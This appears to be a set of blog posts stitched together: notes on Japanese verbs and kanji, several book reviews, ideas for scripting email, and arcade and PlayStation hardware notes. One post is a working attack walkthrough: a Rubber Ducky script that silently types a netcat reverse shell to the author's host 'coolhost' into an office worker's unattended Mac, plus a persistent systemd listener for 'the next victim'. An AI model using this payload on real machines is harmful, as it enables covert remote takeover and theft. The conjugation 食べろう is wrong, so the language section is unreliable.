Verbs in Japanese, like in many other languages, are conjugated to modify their meaning or grammatical function. The dictionary form of verbs are comprised of two parts: the base stem and the suffix. Verb conjugation follows a pattern that is based on its suffix.

Example: 食べる (taberu) which means “to eat”. The base stem in this word is 食べ (tabe) while the suffix is the syllable る (ru). Verbs in the same group that end in the る suffix are conjugated according to the same pattern.

• 食べた (tabeta): ate (past tense)
• 食べない (tabenai): not eat (negative)
• 食べろう (taberou): let’s eat (volitional)

And so on. There are nine different verb suffixes (e.g. く, ぐ, す, む) in Japanese and speakers of the language must memorize the conjugation patterns for each.

One of these verbs is special: 死ぬ (shinu) “to die.”

死ぬ is the only verb in the entire Japanese vocabulary that ends in the ぬ (nu) suffix. Therefore an entirely specific pattern of conjugation exists specifically for this word.

• 死んだ (shinda): died (past tense)
• 死なない (shinanai): don’t die (negative)
• 死のう (shinou): let’s die (volitional)

There are about twenty more conjugation forms besides these (e.g. polite form, potential, passive, causative, causative passive). That’s a lot of memorization for just one verb. And what an interesting verb to specialize!

Is it just a coincidence that the verb meaning “to die” would have such unique grammatical properties? There is another interesting example of specialization in the Japanese language, but this time in its written form.

Written Japanese uses three different character sets: hiragana, katakana, and kanji. Kanji is the most iconic of these character sets, originally adapted from Chinese, and is used to write “content words” such as nouns and verb stems. There are about 3,000 kanji characters in Japanese that must be memorized in order to, for example, read a newspaper.

One of the reasons why kanji is so difficult to memorize, especially for those who are learning Japanese as a second language, is the multiple readings or pronunciations of the characters. Almost all kanji characters have at least two different pronunciations: the on-yomi (original Chinese pronunciation) and the kun-yomi (at least one Japanese pronunciation).

The character for “life” is 生 and has at least ten different readings, and is one of the most versatile characters in the language.

The character for “death” was used earlier: 死. This character only has one pronunciation: し (shi). 死 is highly unusual in that its Chinese and Japanese pronunciations share the same sound, and therefore only has this one reading (many kanji have additional special readings in compound words). It’s also only used in one verb: 死ぬ (to die).

It is likely not a coincidence that the concept of “death” was given such special treatment in the cultivation of the Japanese language. Japanese philosophy has a concept called 物の哀れ (mono no aware) which describes the gentle sadness or melancholy that is derived from the impermanence of everyday life. Changing of seasons, fleeting relationships, the appreciation of old objects, and of course the ephemeral nature of life itself are all different ways the sentiment manifests. What better way to convey this sentiment than to embed it into the language itself.

Permanent Record is an autobiography written by Edward Snowden, the infamous NSA whistleblower who leaked classified information about U.S. government surveillance programs. Snowden as it turns out, had a life that is not too dissimilar from my own. Growing up online in the late nineties/early naughts, becoming interested in computers at a young age, and watching Japanese anime while studying the language were all familiar character elements, not just for myself but for a lot of other “computer guys” that I know. The humanizing element of this story elicits a stark contrast with the serious and wide-reaching impact of Snowden’s revelations to the world.

Besides being relatable, Permanent Record was also a great introduction to general life as a member of the Intelligence Community (IC). The language used by this community is populated with a vexing array of three-letter acronyms and ad-hoc codenames (NSA, TSC, SOLARWIND, etc.) Beneath all of this vocabulary are information systems not unlike what is being developed every day in Silicon Valley and elsewhere. Even the scale of some of these systems probably does not compare to that of those developed by Facebook or Google. Aside from these similarities, I enjoyed reading about the differences in how government agencies operate in the technology world compared to private industry.

Snowden did a lot of important work instructing journalists about how to use technology to communicate securely. Journalists constantly have to exchange information about important stories but most of them do not understand how to use their tools effectively. Therefore one of the most interesting parts of the story was when Snowden chose to instruct Glenn Greenwald, Laura Poitras, and others on how to use encrypted email (PGP) and how to safely store the documents that he shared to them. This was certainly a defining strategy for whistleblowers at the time.

Permanent Record contains an excellent record of the abuses on privacy perpetrated by the U.S. government as well as other members of the Five Eyes intelligence community. However, I would have liked to see more information written about the dangers behind the work being done by private companies like the social media tech giants in what is now being described as “surveillance capitalism.” Of course Snowden’s expertise is in government work, not private industry, so the reason for this omission is clear. Despite that, the amount of information collected by private tech companies who are held accountable by shareholders as opposed to democratically-elected officials is equally egregious and even less under the control of normal citizens.

Anyone who is remotely interested in online privacy or computer security should read Permanent Record. Whether you believe that Snowden is a traitor or a patriot, it is important to understand why such a young and intelligent man would give up his entire life and career to pursue a goal that he believed to be in the interest of public good. After reading the book, I truly believe that that was the case. I do think that there may have been more responsible ways to raise concerns about the systems being developed and to disclose information about them, but I also know what it is like to work in a gargantuan bureaucratic organization that is ignorant towards the overall impact of their work. Nevertheless, society must continue to uphold the values of individualism and purposeful work in order to march responsibly towards a more private and secure future.

There are two main reasons why email continues to be useful today. It is simple to use, and it is not owned or controlled by a single company. Every attempted replacement has failed at excelling in either one or both of those qualities. Simple tools can often be extended in ways that the original authors never could have imagined in the beginning. And because users are in control of the core functionality, new use cases can be explored completely independently.

Computer users have a tendency to over-generalize when solving problems. In other words, when all you have is a hammer, everything looks like a nail. In this post, we are going to be looking at a lot of nails that can probably be hammered down with email. At a fundamental level, email clients are tools designed for storing and retrieving sequences of messages which can contain arbitrary data. Looking at it this way, it is not difficult to imagine a variety of use cases that can be accomplished with minimal amounts of scripting.

I do seriously think that email is a solid tool for a lot of these purposes, and in fact use it as such for a few of these purposes every day. However, the main purpose of this post is exploration, not general advice.

To-Do List (One That You Actually Check)

The first use case is pretty obvious, and it is one that likely a large number of people already employ on a daily basis.

By far the single most important productivity discovery that I made in my life is Inbox Zero. Inbox Zero is the simple idea that your email inbox should contain only a list of messages that require some sort of action. Once the action associated with those messages is completed, the message is archived or moved to a different folder. I have been using Inbox Zero for years now and I rarely forget to do anything important after integrating it into my life.

Need to remember to pack for your flight next week? You probably already got a confirmation about your reservation in your email. Leave it in your inbox until you are finished preparing for your trip, and archive it when you are done.

How about one-off reminders that are not associated with messages already in your inbox? Just send an email to yourself with the action item in the subject line. Use the body of the message to write down any notes you want, and reply to the message to keep a record of additional notes if you need them.

What about periodic reminders that repeat on some interval, like reminding yourself to pay a bill on time every month? Write a simple script that sends you an email about it and schedule it to run once a month. At the end of each month, you will have a new to-do item in your inbox with an actionable task in the subject line.

The great part about using email as a to-do list is that you are already checking it with some degree of regularity. Smartphone apps or web-based to-do lists quickly lose their value the moment users lose interest or switch to using something else. They also frequently become buggy or overburdened with features that don’t add any value. This will never be a problem with email because you can always use your favorite client as long as it continues to work with the standard protocols. Syncing across multiple devices is a given, since your email is already doing this.

News Reader

RSS is a really elegant and simple way to subscribe to a feed of updates from your favorite websites. Since the early 2000s, RSS has been integrated into a lot of different services all across the net, and serves as the foundation for a variety of different web-based content platforms such as podcasts.

In order to actually use RSS, you need a client that is capable of aggregating entries from multiple different feeds and displaying them in some manner. Managing a list of entries, tracking read or unread state, and displaying HTML content is exactly what every email client is already good at doing.

I like using rss2email for this. rss2email delivers stories from my feeds into a special mailbox on my email server that I check approximately every morning. Since the end result is just IMAP messages stored on my email server, I can read them using my favorite email client on whatever device I happen to be using that day.

Updating Your Website or Social Media Accounts

Setting up a frictionless workflow for updating your personal website can be rather difficult, especially if you want to be able to do it while on-the-go and away from your usual workstation.

If you are maintaining a blog on a personal website or for a business, the focus should primarily be on the content itself and not on writing markup, updating a source control repository, or publishing static content to a file server or database. At the end of the day, you want to be able to write your content in a message and send it to your server to publish.

Writing rich-text or plain-text content, saving drafts, and publishing that content to a server is the perfect job for an email client. Your email client can even allow including inline images sent as attachments, or links that point to other websites. Once you are done writing your post, send it to a special email address that activates a script on the other end to convert your email message into a blog post. PGP can be used by both the client and the server to ensure that it is actually you who is authoring the blog post and not someone else. Forget about OAuth or anything more complicated than that.

Social media feeds can be updated in a similar manner. All of your server-side functionality can be multiplexed using different email addresses for each service. For example, you can use blog@mydomain.com to send updates to your blog, and mastodon@mydomain.com to publish toots on your Mastodon account. Writing the code for this is a breeze, since your favorite programming language already has libraries for dealing with SMTP and IMAP.

A User Interface to a Search Engine or Database

It’s pretty simple to build an API for a web service these days. However, choosing the right library or designing the right API can sometimes be an unnecessary burden when working on a personal project that only has one or two users.

Email can be used as an interface between a user and a web service when the input and output are simple enough.

For example, imagine that you have a file server with a large amount of photos stored on it and you want to be able to search those photos and retrieve them at random. The server could use machine learning libraries such as Tensorflow to categorize the photos and attach metadata on them.

Instead of building a custom web-based user interface for this, you could use email instead. The user sends an email with the search term in the subject line, such as “pizza”, to a special email address that corresponds to the file server containing the photos. Just like in the previous example, PGP or S-MIME can be used as an authentication mechanism to ensure that only authorized users can access the photos being requested. Once the server has collected a search result, it replies to the query email with matching photos attached as MIME parts. The email server keeps a record of previous queries, along with their returned results as replies, in an easily displayable and searchable format.

The Only Limit is Your Imagination

Connecting email accounts to small shell scripts is a simple but powerful concept that can unlock a wide variety of different applications. You can build these apps with the comforting knowledge that they are all based on federated and robust protocols used by hundreds of different email clients which have stood the test of time.

Using the rich text editing features of your email client, combined with a hierarchical organization system based on folders, allows you to do a lot of tasks that have previously been accomplished using buggy and monolithic tools. Privacy and security issues that plague web-based tools can be effectively avoided when using email, because you are in control of both the client and the server. You also get syncing to multiple devices for free, since IMAP was designed to facilitate managing email from multiple clients at once since the beginning.

I’m always interested in learning about new uses of email. If you know about some of these yourself, send me an email about them.

In the 2014 novel written by Sam Hughes, Ra depicts a world where magic is as real as particle physics or organic chemistry. In this alternate present, scholars study the use and effects of magic in their world, and apply it to engineering pursuits for purposes such as harvesting energy or traveling into space. “Mages” as they are called conduct magic by vocalizing sequences of words belonging to no particular human language that exists, much like spells in fantasy fiction and not unlike statements in a computer programming language. Mystery begins to unfold as these scholars attempt to unravel the origin and the meaning of the various incantations necessary for practicing magic.

The setting alternates between what we perceive as reality in this alternate 21st century, a shared dream that is possible to visit at will, and a computerized virtual reality later in the story. The shared dream setting, called “Tanako’s World” in the book, is particularly interesting since no physical laws appear to apply, and the characters interact within this setting in very strange and inexplicable ways. It’s quite confusing to follow the various characters throughout these various settings, but the story does a decent job in elaborating on these various settings without the need to break the fourth wall as the book reaches its conclusion.

The story begins with some predictable and straightforward world building and character development, then gradually becomes more technical and unusual as the storyline progresses. The alternate present in which most of the book takes place is relatively easy to understand in the beginning, so are the various characters’ intentions and actions. However, in the later chapters this takes quite a turn and the story becomes a much more bizarre and complex. By the end, it’s hard to believe the events are taking place in the same world that was constructed in the beginning.

Character development in Ra leaves a bit to be desired. The two main characters, sisters named Laura and Natalie Ferno, have a clear and interesting dynamic in the beginning of the story where they appear to have a competitive but caring relationship with each other. However, it doesn’t evolve much beyond this, and their various intentions throughout the storyline are often unpredictable and unrelatable based on the events early on in the story. Other characters that are introduced later have weak and tenuous relationships with the main characters with very little background explanation.

Overall Ra is a fantastic book for anyone who is a fan of modern science fiction with a techno-futuristic spin. Despite the suitable amount of scientific justification supporting the story, it is more on the “soft” end of the spectrum for modern sci-fi, but enjoyable nonetheless. It’s available to read for free on the web.

In September I had the opportunity to read the newly-translated Ball Lightning by the same author while travelling. Ball Lightning was released a few years earlier than The Three Body Problem in China, but its English translation only became available in late 2018. Ball Lightning was translated by Joel Martinsen, which I was pleased to discover since I very much enjoyed his English translation of The Dark Forest, my favorite novel in the trilogy.

The story follows the early adult life of a man named Chen, who witnessed both of his parents evaporate after ball lightning entered his family home inexplicably one night. Chen’s traumatic experience set him firmly on a path toward researching ball lightning, which is a real electrical phenomenon that has no verifiable scientific explanations, as well as various other strange events that occurred after the initial incident.

I had some initial difficulty with suspending disbelief while reading Ball Lightning, and was a little repulsed by the Hollywood-level absurdity of the initial events that set forth the plot of the book. However, as I continued reading I discovered that the same masterful prose used in Three Body was present in the chapters of Ball Lightning, and I was completely hooked after only a couple of pages.

Chen dedicates a majority of his working and personal life to the pursuit of studying the atmospheric phenomenon that killed his parents, and there is an overarching theme about obsession and devotion to work present throughout the novel. Characters who have this kind of fanatic obsession with something are usually my favorite, both in fictional and non-fictional stories. After countless failures in attempting experimental analysis of ball lightning, Chen begins to lose hope until his next discovery reveals new information about the phenomenon.

Chen eventually meets Lin Yun, a PLA officer who works on experimental weapons, who shares a similar interest in the ball lightning phenomenon. Lin Yun is a fascinating character who came from a mostly military background and has a terrifying obsession with weapons and warfare. One of the most memorable parts of the novel described a car ornament swinging from Lin Yun’s rear-view mirror that looked like a piece of bamboo, but was actually a deadly landmine. Liu describes how it is possible to separate the beauty of an object from its originally designed purpose, which is to kill people, and appreciate both in different ways.

Overall I tremendously enjoyed Ball Lightning. Just like the Three Body trilogy, there was a coherent mixture of science-fiction and science non-fiction that served as a backdrop to a fascinating story, while also being educational and thought-provoking. After reading the conclusion I couldn’t help but ponder about what sort of advanced weapon could mean the existential end for humanity as a whole. However, there was enough optimism about the scientific method written in the story that served as an adequate distraction from the more daunting elements.

The Rubber Ducky is really useful for penetration testing, and in fact pen-testers have been using a similar technique with devices such as the Teensy or Arduino for a while now. The neat thing about the Rubber Ducky is that it uses a DSL called Ducky Script to make the process of automating keyboard input extremely easy.

For example, let’s say that I have a macOS desktop and I want the Rubber Ducky to automatically launch the TextEdit app and type “Cyber World” into a document. Here is what the Ducky Script would look like to accomplish this task.

REM Launch TextEdit.app and type something

GUI SPACE
STRING textedit
ENTER

DELAY 500

GUI n

STRING Cyber World

Ducky Script divides each line into two parts: a command, and all of its arguments. Commands can also be modifier keys, which are useful for executing keyboard shortcuts on the host machine.

The first line is simply a comment. Any line starting with REM is treated as a comment and ignored by the interpreter.

The second line asks the device to hold down the Command key and press the space bar. On macOS desktops, this is invokes the Spotlight modal interface, which offers a quick and easy way to launch applications.

The third line uses the most important command in Ducky Script, the STRING command, which causes the device to type whatever you write on the right-hand side. The only thing this third line does is type “textedit” into the Spotlight UI.

The ENTER command is pretty self-explanatory. This presses the enter key on the host system.

The fifth line is important, and shows an unfortunate drawback to using this kind of device as a automated control mechanism. Since TextEdit takes a little while to actually launch and become foregrounded, we have to pause execution on the Rubber Ducky so that it doesn’t move onto the next command before the host machine is ready. This line waits 500 milliseconds before continuing.

The sixth line asks TextEdit to create a new document by pressing Command-N on the keyboard. TextEdit does not create a new document by default. Instead it shows the open dialog with the option to create a new document or open an existing one on the filesystem.

Finally the last line uses the same STRING command we used earlier to type the text “Cyber World” into the TextEdit window.

Though this example essentially does something completely useless, it’s easy to see what kind of neat applications can be created using the Rubber Ducky. There are some fun pranks that can be developed using this, such as using the keyboard to invert the colors on someone’s screen, or magnifying all of the text multiple times.

I had a slightly more sinister use case in mind for this however.

Office workers notoriously have pretty bad operational security while using their computers in an open office setting. This is not mostly due to stupidity, but rather they assume that because their machines are behind locked doors or in a building with a lot of surveillance that nobody will walk up and do anything malicious.

What if there was a magical USB device that would automatically let me open a remote shell from my server?

We have to be a little creative here because we can’t make very many assumptions about what kind of programs are installed on the victim’s machine. For this exercise, let’s assume that the machine is running macOS, which means it has basic BSD and UNIX utilities like netcat and sh.

Reading the manpages for netcat turn up two pretty interesting options: -e and -c, both of which allow us to execute a shell command immediately after connecting. This sounds like exactly what we want. We can just connect to a remote server that is listening on some port and use the -c option to start a remote shell on the victim machine.

Unfortunately (fortunately?) we weren’t the only ones to think of using this option as an attack vector. Most UNIX distributions (macOS included) disable both of these options because they open the machine to gaping security holes. OS engineers always have to ruin the fun…

Turns out this isn’t too big of a deal, because we can use other ways to redirect input and output from our remote shell.

Another way to do this is to use one of my favorite UNIX features called named pipes. Named pipes are not any different from regular pipes, except the only difference is that they are files that are accessible via the file system.

Making a named pipe on any UNIX system is as simple as running the mkfifo command and specifying where we want the named pipe to be stored on the filesystem.

mkfifo /tmp/mypipe

This command creates a named pipe and stores it at the path /tmp/mypipe. To read data from this pipe, we can use any program we like for reading a file’s contents (e.g. cat). Writing to it is just as simple as using any program that can write output to a file. All reading and writing is done in a blocking and synchronous manner just like other kinds of pipes.

Named pipes are a useful way to do inter-process communication. For our purposes, we can use it to start one process that executes commands and another process that reads data over a TCP socket, and use the named pipe to connect these two together.

My first attempt at this was to read data from this named pipe and pipe this into an instance of sh running with the -i option. The -i option specifies that the shell is running in an interactive mode and input/output are attached to a terminal. After this, we use the netcat command to open a TCP socket to our server (again called coolhost) and redirect its output to our named pipe so that it can talk to the shell. This effectively allows us to spawn a shell and redirect all input and output over a TCP socket, using a port number of our choice. (I used port number 5730 for this example.)

On the server, we start a listener by running the following command:

nc -l -p 5730

On the victim’s machine (the client), we run this command:

cat /tmp/mypipe | sh -i 2>&1 | nc coolhost 5730 > /tmp/mypipe &

Annoyingly the parent shell doesn’t let this command start without suspending it immediately.

[1]  + suspended (tty input)  cat /tmp/mypipe | sh -i

This is because the sh -i command begins reading input from the tty right after starting, and the shell assumes that this will be a deadlock while running in the background, so it suspends the process instead. This is no good because we need the shell to start in the background so that we can close the terminal window without the victim noticing.

Instead, let’s omit the interactive option and spawn sh using raw input and output.

cat /tmp/mypipe | sh /dev/stdin 2>&1 | nc coolhost 5730 > /tmp/mypipe &

On the server where we started the listener, we can now issue shell commands and read the output simply by typing in characters and pressing return.

whoami
zanneth

ls /
Applications              System                    etc                       tmp
Groups                    Users                     home                      usr
...

The slight drawback to not using the -i option is that we don’t get a shell prompt on the remote server. The only way we know it’s working is by typing commands and seeing if we get output back from the victim’s machine.

We’re almost done with our payload. There is one remaining problem which is that the shell process we start will be terminated as soon as we close the terminal window because the shell started as a background job. The easy fix for this is to simply run the disown command at the end, which tells the shell to not send a SIGHUP to job processes when the parent shell receives it.

Our final payload line is the following:

cat /tmp/mypipe | /bin/sh /dev/stdin 2>&1 | nc coolhost 5730 > /tmp/mypipe & disown

The hardest part of our research is done. Now the only thing we have to do is write the super fun Rubber Ducky script to type this into a terminal as soon as it is plugged into a machine.

Here is the script I wrote with comments (starting with REM) explaining each part.

REM Press Command+Space to bring up Spotlight, wait 100 msec.
GUI SPACE
DELAY 100

REM Type 'terminal' into Spotlight and press return.
STRING terminal
DELAY 100
ENTER

REM Wait for terminal to finish launching.
DELAY 500

REM Delete our fifo file in case something's already there.
STRING rm -f /tmp/mypipe
ENTER

REM Create the named pipe.
STRING mkfifo /tmp/mypipe
ENTER

REM Run our payload to pop a shell and connect to the attacker's remote server.
STRING cat /tmp/mypipe | /bin/sh /dev/stdin 2>&1 | nc coolhost 5730 > /tmp/mypipe & disown
ENTER

REM Close the terminal window.
STRING exit
ENTER

That’s it for our Rubber Ducky script. Now we just have to encode this and store it on the Rubber Ducky’s flash memory, and it will run as soon as we plug it into a computer.

There is one more refinement I wanted make to this process. I didn’t like that I had to manually start a netcat listener on my server every time before plugging the Rubber Ducky into the victim’s system. I decided to use the screen command on my server to park the listener, using the -DmS option to start it as a daemon without forking.

screen -DmS hax0r.tty /bin/nc -l -p 5730

The hax0r.tty is just a random name that I used to refer to the screen later, when I want to see if I have someone trapped in my remote shell. Running this command will attach me to the screen running the netcat listener, allowing me to access the remote shell (if any).

screen -r hax0r.tty

Finally, here’s a systemd unit that I used to start the screen daemon on bootup.

[Unit]
Description=shell trapping service

[Service]
User=zanneth
Group=zanneth
ExecStart=/usr/bin/screen -DmS hax0r.tty /bin/nc -l -p 5730
Restart=always

[Install]
WantedBy=multi-user.target

Because I’m using the Restart=always option, I can terminate any shells that I have trapped on my server, and systemd will automatically restart the screen daemon again, waiting for the next victim.

It has very simple rules that pretty quickly lead to fun strategies for eventual domination of the game board. Players occupy a seven-by-seven square grid and take turns moving pieces. The player can move diagonal or orthogonal, moving either two places or one. If the player moves one place, the piece duplicates and occupies both the source and the destination. If the player moves two places, the piece moves without duplicating. When a piece is moved, adjacent squares that are occupied by the opponent are flipped to become the player’s color. The winning condition is to occupy as many squares as possible by the end of the game.

The graphics and sound in the game are really cool. It has this “underground sewer” type of aesthetic that is consistent throughout. AI characters that the player battles are mutant alien lifeforms that react according to the player’s actions and other game state. This character battle art style reminds me a lot of Pop’n Music, where the player chooses a character to play in the beginning and battles another character during each song.

The game uses a trackball for input, allowing the player to move a cursor around on the screen to select the next piece to move. If a version of this game were being created today, a large touchscreen interface would be a much superior way to play the game.

The first 0x800 bytes comprise a standard header format, which is immediately followed by the TEXT section of the binary.

The header format is as follows. All multi-byte numerical addresses are little-endian.

0x000 [8 bytes]  = "PS-X EXE" (magicnum)
0x010 [4 bytes]  = execution start address
0x018 [4 bytes]  = starting address of TEXT section
0x01C [4 bytes]  = size of text section
0x030 [4 bytes]  = stack ($sp) start address
0x04C [variable] = "Sony Computer Entertainment Inc. for North America area" 
(region-specific)

The TEXT section must be stored at an address which is a multiple of 2048 bytes.

This investigation does not cover any information about reverse-engineering the game binaries or decrypting the game data.

Research performed on SPADA (iidx21) legitimate hardware unless mentioned otherwise.

USB Keys

The USB security keys are attached to the back of the machine via a two-port USB hub. They are iKey 2032 Two-Factor USB Authentication Tokens. One appears to be used for decrypting game data and executable files (“LICENSE KEY”), while the other appears to be used for verifying e-AMUSEMENT participation with Konami servers (“ACCOUNT KEY”).

The security keys are protected with a passphrase that is presumably hard-coded in the game executable or operating system config files. The iKey driver will lock out access to the security key if too many failed attempts at the passphrase are detected.

LICENSE KEY

Utility can access KONAMI root CA and public signing key. Utility output can be viewed here.

Hard Disk

The hard disk used is a WD 320GB 2.5” drive with the following label on it: LDJ-JA beatmania IIDX20. Presumably the drive that I have was included in a Tricoro (iidx20) kit, and at some point the contents were upgraded to SPADA without replacing the original HDD.

Drive Content

The drive contains a mixture of encrypted and unencrypted data. All of the game data, shared libraries, and executable files are encrypted.

The directory structure of the LDJ directory (where game content is stored) differs between the stock installation and the one distributed by programmedworld.

Stock LDJ Directory Structure

programmedworld LDJ Directory Structure

• C:
  • OS partition. Contains program files, windows dir, etc.
  • 000ROM.txt
    • Contains single string: “LDJ-JA-A01 2012-03-22 0”
    • Possibly metadata about the game version contained on the hard drive
  • boot.ini
    • Windows configuration file with options related to loading operating system data.
    • [boot loader] timeout=0 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Embedded" /fastdetect /bootlogo /noguiboot
  • NTDETECT.COM
  • ntldr
  • WERUNTIME.INI
    • not sure what this is
• D:
  • Game data partition
  • LDJ
    • Main game data directory
    • Encrypted
    • Contains contents and path.lst
    • path.lst
      • CSV list of all files
      • Purpose/meaning not clear
    • contents
      • Game data and encrypted executable code (dlls)
      • Organized into hexadecimally numbered subdirectories (0, 1…, a, b)
      • Contains: dev, modules, prop, allfiles.lst
      • allfiles.lst
        • Encrypted. Probably the same CSV file format as path.lst
      • dev
        • Appears to be application’s cache directory
        • Contains log files, binary caches, XML files for bookkeeping, etc.
        • All encrypted
      • modules
        • Shared libraries and executable files
        • Encrypted
      • prop
        • XML files for bootstrapping
        • Two “p7s” files
          • trustcerts.p7s
          • trustfiles.p7s

            P7S file usually contains DER encoded CMS (Cryptographic Message Syntax) structure of SignedData type which is defined in RFC5652. You can use ASN.1 Editor to conveniently examine exact structure and contents of your file.

        • Encrypted
  • factory
    • Utility programs and shared libraries for factory testing?
    • systemLDJ.exe
      • Likely a factory test executable
      • Not encrypted
    • wave
      • Sound files that play a single tone in the key corresponding to the filename (e.g. “C.wav” plays a tone in the key of C)
      • 4 files in total (C.wav, D.wav, E.wav, F.wav)
  • d3dx9_24.dll
  • D3DX9_41.dll
    • Unencrypted builds of the DirectX library
  • existd
    • Empty file presumably indicating the existence of the drive without depending on drive letter matching
  • factory.bat
    • Script that runs the factory test executable store in factory
  • infodisp.exe
    • Looks to be a standalone program used to display error messages in a dialog box
  • select.bat
    • Script that bootstraps the game application
    • Error messages localized to Japanese
    • Full contents of this script (converted from ShiftJIS to unicode) can be accessed here
    1. Runs update.exe
    2. Sets up environment variables (mostly paths to resource files)
    3. Creates cache directories if non-existent
    4. Pings localhost 30 times? (redirects output to nul)
       • Comment says “ドライバが安定するまで 30 秒ほど待機する”, which translates to “the driver will wait about 30 seconds to stabalize”. Sounds like a hack to workaround some bug in the iKey software.
    5. Runs bootstrap.exe with the following arguments
       • prop\bootstrap.xml
       • bm2dx_drm
       • prop\trustcerts.p7s
       • prop\trustfiles.p7s
    6. Displays an error code if one was set by bootstrap
    7. If bootstrap returns a code of 0, the machine shuts down
  • update.exe
    • Unencrypted
    • Presumably contacts update server to check for updates before running bootstrap
• E:
  • Partition that acts as a staging area for game updates
  • UP
    • JAA2013100200
      • Looks to be an update that was downloaded while this kit was active on the e-AMUSEMENT network in Japan
      • Contains contents (same dir structure as LDJ\contents), LDJ131008.bsv.bak, and path.lst
      • Basically an LDJ folder that is merged with the existing one
      • .bsv file is probably a signature file for verifying contents
  • existe
    • Same purpose as existd
• F:
  • Empty except for existf